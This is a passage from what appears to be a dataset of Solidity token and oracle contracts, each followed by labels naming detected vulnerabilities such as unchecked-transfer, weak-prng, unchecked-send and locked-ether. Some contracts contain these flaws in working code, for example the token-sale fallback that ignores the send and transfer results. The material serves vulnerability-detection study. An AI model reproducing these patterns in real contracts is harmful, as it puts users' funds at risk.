0x5fc094d10c65bc33cc842217b2eccca0191ff24148319da094e540a559898961; //keccak256("_DEITY");
bytes32 constant _DIFFICULTY =
0xf758978fc1647996a3d9992f611883adc442931dc49488312360acc90601759b; //keccak256("_DIFFICULTY");
bytes32 constant _DISPUTE_COUNT =
0x310199159a20c50879ffb440b45802138b5b162ec9426720e9dd3ee8bbcdb9d7; //keccak256("_DISPUTE_COUNT");
bytes32 constant _DISPUTE_FEE =
0x675d2171f68d6f5545d54fb9b1fb61a0e6897e6188ca1cd664e7c9530d91ecfc; //keccak256("_DISPUTE_FEE");
bytes32 constant _DISPUTE_ROUNDS =
0x6ab2b18aafe78fd59c6a4092015bddd9fcacb8170f72b299074f74d76a91a923; //keccak256("_DISPUTE_ROUNDS");
bytes32 constant _EXTENSION =
0x2b2a1c876f73e67ebc4f1b08d10d54d62d62216382e0f4fd16c29155818207a4; //keccak256("_EXTENSION");
bytes32 constant _FEE =
0x1da95f11543c9b03927178e07951795dfc95c7501a9d1cf00e13414ca33bc409; //keccak256("FEE");
bytes32 constant _MIGRATOR =
0xc6b005d45c4c789dfe9e2895b51df4336782c5ff6bd59a5c5c9513955aa06307; //keccak256("_MIGRATOR");
bytes32 constant _MIN_EXECUTION_DATE =
0x46f7d53798d31923f6952572c6a19ad2d1a8238d26649c2f3493a6d69e425d28; //keccak256("_MIN_EXECUTION_DATE");
bytes32 constant _MINER_SLOT =
0x6de96ee4d33a0617f40a846309c8759048857f51b9d59a12d3c3786d4778883d; //keccak256("_MINER_SLOT");
bytes32 constant _NUM_OF_VOTES =
0x1da378694063870452ce03b189f48e04c1aa026348e74e6c86e10738514ad2c4; //keccak256("_NUM_OF_VOTES");
bytes32 constant _OLD_TELLOR =
0x56e0987db9eaec01ed9e0af003a0fd5c062371f9d23722eb4a3ebc74f16ea371; //keccak256("_OLD_TELLOR");
bytes32 constant _ORIGINAL_ID =
0xed92b4c1e0a9e559a31171d487ecbec963526662038ecfa3a71160bd62fb8733; //keccak256("_ORIGINAL_ID");
bytes32 constant _OWNER =
0x7a39905194de50bde334d18b76bbb36dddd11641d4d50b470cb837cf3bae5def; //keccak256("_OWNER");
bytes32 constant _PAID =
0x29169706298d2b6df50a532e958b56426de1465348b93650fca42d456eaec5fc; //keccak256("_PAID");
bytes32 constant _PENDING_OWNER =
0x7ec081f029b8ac7e2321f6ae8c6a6a517fda8fcbf63cabd63dfffaeaafa56cc0; //keccak256("_PENDING_OWNER");
bytes32 constant _REQUEST_COUNT =
0x3f8b5616fa9e7f2ce4a868fde15c58b92e77bc1acd6769bf1567629a3dc4c865; //keccak256("_REQUEST_COUNT");
bytes32 constant _REQUEST_ID =
0x9f47a2659c3d32b749ae717d975e7962959890862423c4318cf86e4ec220291f; //keccak256("_REQUEST_ID");
bytes32 constant _REQUEST_Q_POSITION =
0xf68d680ab3160f1aa5d9c3a1383c49e3e60bf3c0c031245cbb036f5ce99afaa1; //keccak256("_REQUEST_Q_POSITION");
bytes32 constant _SLOT_PROGRESS =
0xdfbec46864bc123768f0d134913175d9577a55bb71b9b2595fda21e21f36b082; //keccak256("_SLOT_PROGRESS");
bytes32 constant _STAKE_AMOUNT =
0x5d9fadfc729fd027e395e5157ef1b53ef9fa4a8f053043c5f159307543e7cc97; //keccak256("_STAKE_AMOUNT");
bytes32 constant _STAKE_COUNT =
0x10c168823622203e4057b65015ff4d95b4c650b308918e8c92dc32ab5a0a034b; //keccak256("_STAKE_COUNT");
bytes32 constant _T_BLOCK =
0xf3b93531fa65b3a18680d9ea49df06d96fbd883c4889dc7db866f8b131602dfb; //keccak256("_T_BLOCK");
bytes32 constant _TALLY_DATE =
0xf9e1ae10923bfc79f52e309baf8c7699edb821f91ef5b5bd07be29545917b3a6; //keccak256("_TALLY_DATE");
bytes32 constant _TARGET_MINERS =
0x0b8561044b4253c8df1d9ad9f9ce2e0f78e4bd42b2ed8dd2e909e85f750f3bc1; //keccak256("_TARGET_MINERS");
bytes32 constant _TELLOR_CONTRACT =
0x0f1293c916694ac6af4daa2f866f0448d0c2ce8847074a7896d397c961914a08; //keccak256("_TELLOR_CONTRACT");
bytes32 constant _TELLOR_GETTERS =
0xabd9bea65759494fe86471c8386762f989e1f2e778949e94efa4a9d1c4b3545a; //keccak256("_TELLOR_GETTERS");
bytes32 constant _TIME_OF_LAST_NEW_VALUE =
0x2c8b528fbaf48aaf13162a5a0519a7ad5a612da8ff8783465c17e076660a59f1; //keccak256("_TIME_OF_LAST_NEW_VALUE");
bytes32 constant _TIME_TARGET =
0xd4f87b8d0f3d3b7e665df74631f6100b2695daa0e30e40eeac02172e15a999e1; //keccak256("_TIME_TARGET");
bytes32 constant _TIMESTAMP =
0x2f9328a9c75282bec25bb04befad06926366736e0030c985108445fa728335e5; //keccak256("_TIMESTAMP");
bytes32 constant _TOTAL_SUPPLY =
0xe6148e7230ca038d456350e69a91b66968b222bfac9ebfbea6ff0a1fb7380160; //keccak256("_TOTAL_SUPPLY");
bytes32 constant _TOTAL_TIP =
0x1590276b7f31dd8e2a06f9a92867333eeb3eddbc91e73b9833e3e55d8e34f77d; //keccak256("_TOTAL_TIP");
bytes32 constant _VALUE =
0x9147231ab14efb72c38117f68521ddef8de64f092c18c69dbfb602ffc4de7f47; //keccak256("_VALUE");
bytes32 constant _EIP_SLOT =
0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
//Functions for retrieving min and Max in 51 length array (requestQ)
//Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol
contract Utilities {
/**
* @dev This is an internal function called by updateOnDeck that gets the top 5 values
* @param data is an array [51] to determine the top 5 values from
* @return max the top 5 values and their index values in the data array
*/
function getMax5(uint256[51] memory data)
public
view
returns (uint256[5] memory max, uint256[5] memory maxIndex)
{
uint256 min5 = data[1];
uint256 minI = 0;
for (uint256 j = 0; j < 5; j++) {
max[j] = data[j + 1]; //max[0]=data[1]
maxIndex[j] = j + 1; //maxIndex[0]= 1
if (max[j] < min5) {
min5 = max[j];
minI = j;
}
}
for (uint256 i = 6; i < data.length; i++) {
if (data[i] > min5) {
max[minI] = data[i];
maxIndex[minI] = i;
min5 = data[i];
for (uint256 j = 0; j < 5; j++) {
if (max[j] < min5) {
min5 = max[j];
minI = j;
}
}
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
/**
* @title Tellor Oracle Storage Library
* @dev Contains all the variables/structs used by Tellor
*/
contract TellorStorage {
//Internal struct for use in proof-of-work submission
struct Details {
uint256 value;
address miner;
}
struct Dispute {
bytes32 hash; //unique hash of dispute: keccak256(_miner,_requestId,_timestamp)
int256 tally; //current tally of votes for - against measure
bool executed; //is the dispute settled
bool disputeVotePassed; //did the vote pass?
bool isPropFork; //true for fork proposal NEW
address reportedMiner; //miner who submitted the 'bad value' will get disputeFee if dispute vote fails
address reportingParty; //miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes
address proposedForkAddress; //new fork address (if fork proposal)
mapping(bytes32 => uint256) disputeUintVars;
//Each of the variables below is saved in the mapping disputeUintVars for each disputeID
//e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")]
//These are the variables saved in this mapping:
// uint keccak256("requestId");//apiID of disputed value
// uint keccak256("timestamp");//timestamp of disputed value
// uint keccak256("value"); //the value being disputed
// uint keccak256("minExecutionDate");//7 days from when dispute initialized
// uint keccak256("numberOfVotes");//the number of parties who have voted on the measure
// uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from
// uint keccak256("minerSlot"); //index in dispute array
// uint keccak256("fee"); //fee paid corresponding to dispute
mapping(address => bool) voted; //mapping of address to whether or not they voted
}
struct StakeInfo {
uint256 currentStatus; //0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute 4=ReadyForUnlocking 5=Unlocked
uint256 startDate; //stake start date
}
//Internal struct to allow balances to be queried by blocknumber for voting purposes
struct Checkpoint {
uint128 fromBlock; // fromBlock is the block number that the value was generated from
uint128 value; // value is the amount of tokens at a specific block number
}
struct Request {
uint256[] requestTimestamps; //array of all newValueTimestamps requested
mapping(bytes32 => uint256) apiUintVars;
//Each of the variables below is saved in the mapping apiUintVars for each api request
//e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")]
//These are the variables saved in this mapping:
// uint keccak256("requestQPosition"); //index in requestQ
// uint keccak256("totalTip");//bonus portion of payout
mapping(uint256 => uint256) minedBlockNum; //[apiId][minedTimestamp]=>block.number
//This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value
mapping(uint256 => uint256) finalValues;
mapping(uint256 => bool) inDispute; //checks if API id is in dispute or finalized.
mapping(uint256 => address[5]) minersByValue;
mapping(uint256 => uint256[5]) valuesByTimestamp;
}
uint256[51] requestQ; //uint50 array of the top50 requests by payment amount
uint256[] public newValueTimestamps; //array of all timestamps requested
//Address fields in the Tellor contract are saved the addressVars mapping
//e.g. addressVars[keccak256("tellorContract")] = address
//These are the variables saved in this mapping:
// address keccak256("tellorContract");//Tellor address
// address keccak256("_owner");//Tellor Owner address
// address keccak256("_deity");//Tellor Owner that can do things at will
// address keccak256("pending_owner"); // The proposed new owner
//uint fields in the Tellor contract are saved the uintVars mapping
//e.g. uintVars[keccak256("decimals")] = uint
//These are the variables saved in this mapping:
// keccak256("decimals"); //18 decimal standard ERC20
// keccak256("disputeFee");//cost to dispute a mined value
// keccak256("disputeCount");//totalHistoricalDisputes
// keccak256("total_supply"); //total_supply of the token in circulation
// keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcoded it in...or should it be variable?)
// keccak256("stakerCount"); //number of parties currently staked
// keccak256("timeOfLastNewValue"); // time of last challenge solved
// keccak256("difficulty"); // Difficulty of current block
// keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool
// keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id
// keccak256("requestCount"); // total number of requests through the system
// keccak256("slotProgress");//Number of miners who have mined this value so far
// keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value
// keccak256("timeTarget"); //The time between blocks (mined Oracle values)
// keccak256("_tblock"); //
// keccak256("runningTips"); // VAriable to track running tips
// keccak256("currentReward"); // The current reward
// keccak256("devShare"); // The amount directed towards th devShare
// keccak256("currentTotalTips"); //
//This is a boolean that tells you if a given challenge has been completed by a given miner
mapping(uint256 => uint256) requestIdByTimestamp; //minedTimestamp to apiId
mapping(uint256 => uint256) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId
mapping(uint256 => Dispute) public disputesById; //disputeId=> Dispute details
mapping(bytes32 => uint256) public requestIdByQueryHash; // api bytes32 gets an id = to count of requests array
mapping(bytes32 => uint256) public disputeIdByDisputeHash; //maps a hash to an ID for each dispute
mapping(bytes32 => mapping(address => bool)) public minersByChallenge;
Details[5] public currentMiners; //This struct is for organizing the five mined values to find the median
mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info
mapping(uint256 => Request) requestDetails;
mapping(bytes32 => uint256) public uints;
mapping(bytes32 => address) public addresses;
mapping(bytes32 => bytes32) public bytesVars;
//ERC20 storage
mapping(address => Checkpoint[]) public balances;
mapping(address => mapping(address => uint256)) public _allowances;
//Migration storage
mapping(address => bool) public migrated;
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) weak-prng with High impact
3) incorrect-equality with Medium impact |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract DunderBet is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function DunderBet() public {
symbol = "DNB";
name = "DunderBet Token";
decimals = 18;
_totalSupply = 9876000000000000000000000000;
balances[0x73aeE306f66bD85B225199Ae2ee697b1DA9BAc84] = _totalSupply;
Transfer(address(0), 0x73aeE306f66bD85B225199Ae2ee697b1DA9BAc84, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FiatContract {
function USD(uint _id) constant returns (uint256);
}
contract Main is Ownable {
using SafeMath for uint256;
address public wallet = 0x849861cE5c88F355A286d973302cf84A5e33fa6b;
uint256 public bonus = 50;
uint256 public price = 10;
function setBonus(uint newBonus) onlyOwner public {
bonus = newBonus;
}
function setWallet(address _newWallet) onlyOwner public {
require(_newWallet != address(0));
wallet = _newWallet;
}
function setPrice(uint newPrice) onlyOwner public {
price = newPrice;
}
}
contract Transaction is Main {
uint256 USDv;
uint256 MIRAv;
FiatContract public fiat;
ERC20 MIRAtoken = ERC20(0x8BCD8DaFc917BFe3C82313e05fc9738aeB72d555);
function Transaction() {
fiat = FiatContract(0x8055d0504666e2B6942BeB8D6014c964658Ca591);
}
function() external payable {
address buyer = msg.sender;
require(buyer != address(0));
require(msg.value != 0);
MIRAv = msg.value;
uint256 cent = fiat.USD(0);
uint256 dollar = cent*100;
USDv = msg.value.div(dollar); //USD
require(USDv != 0);
MIRAv = USDv.mul(1000).div(price); // without bonus
MIRAv = MIRAv + MIRAv.div(100).mul(bonus); // + bonus
MIRAv = MIRAv.mul(100000000);
address(wallet).send(msg.value); //send eth
MIRAtoken.transfer(buyer,MIRAv); //send tokens
}
function getMIRABALANCE() public constant returns (uint256) {
require(msg.sender == owner);
return MIRAtoken.balanceOf(address(this)).div(100000000);
}
function getADR() public constant returns (address) { return address(this); }
}
// Please, visit https://miramind.io/risks.pdf to know more about the risks | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) divide-before-multiply with Medium impact
3) unchecked-send with Medium impact |
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev Function to batch send tokens
* @param _receivers The addresses that will receive the tokens.
* @param _value The amount of tokens to send.
*/
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 500);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
require (_receivers[i] != 0x0);
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
emit Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
/**
* @dev Function to batch send tokens
* @param _receivers The addresses that will receive the tokens.
* @param _values The array of amount to send.
*/
function batchTransferValues(address[] _receivers, uint256[] _values) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
require(cnt == _values.length);
require(cnt > 0 && cnt <= 500);
uint256 amount = 0;
for (uint i = 0; i < cnt; i++) {
require (_values[i] != 0);
amount = amount.add(_values[i]);
}
require(balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint j = 0; j < cnt; j++) {
require (_receivers[j] != 0x0);
balances[_receivers[j]] = balances[_receivers[j]].add(_values[j]);
emit Transfer(msg.sender, _receivers[j], _values[j]);
}
return true;
}
/**
* @dev Function to batch freeze accounts
* @param _addresses The addresses that will be frozen/unfrozen.
* @param _freeze To freeze or not.
*/
function batchFreeze(address[] _addresses, bool _freeze) onlyOwner public {
for (uint i = 0; i < _addresses.length; i++) {
frozenAccount[_addresses[i]] = _freeze;
emit FrozenFunds(_addresses[i], _freeze);
}
}
}
contract LudosToken is CappedToken, PausableToken {
string public constant name = "Ludos Protocol";
string public constant symbol = "LUD";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 0;
uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() CappedToken(MAX_SUPPLY) public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint whenNotPaused public returns (bool) {
return super.mint(_to, _amount);
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint whenNotPaused public returns (bool) {
return super.finishMinting();
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner whenNotPaused public {
super.transferOwnership(newOwner);
}
/**
* The fallback function.
*/
function() payable public {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
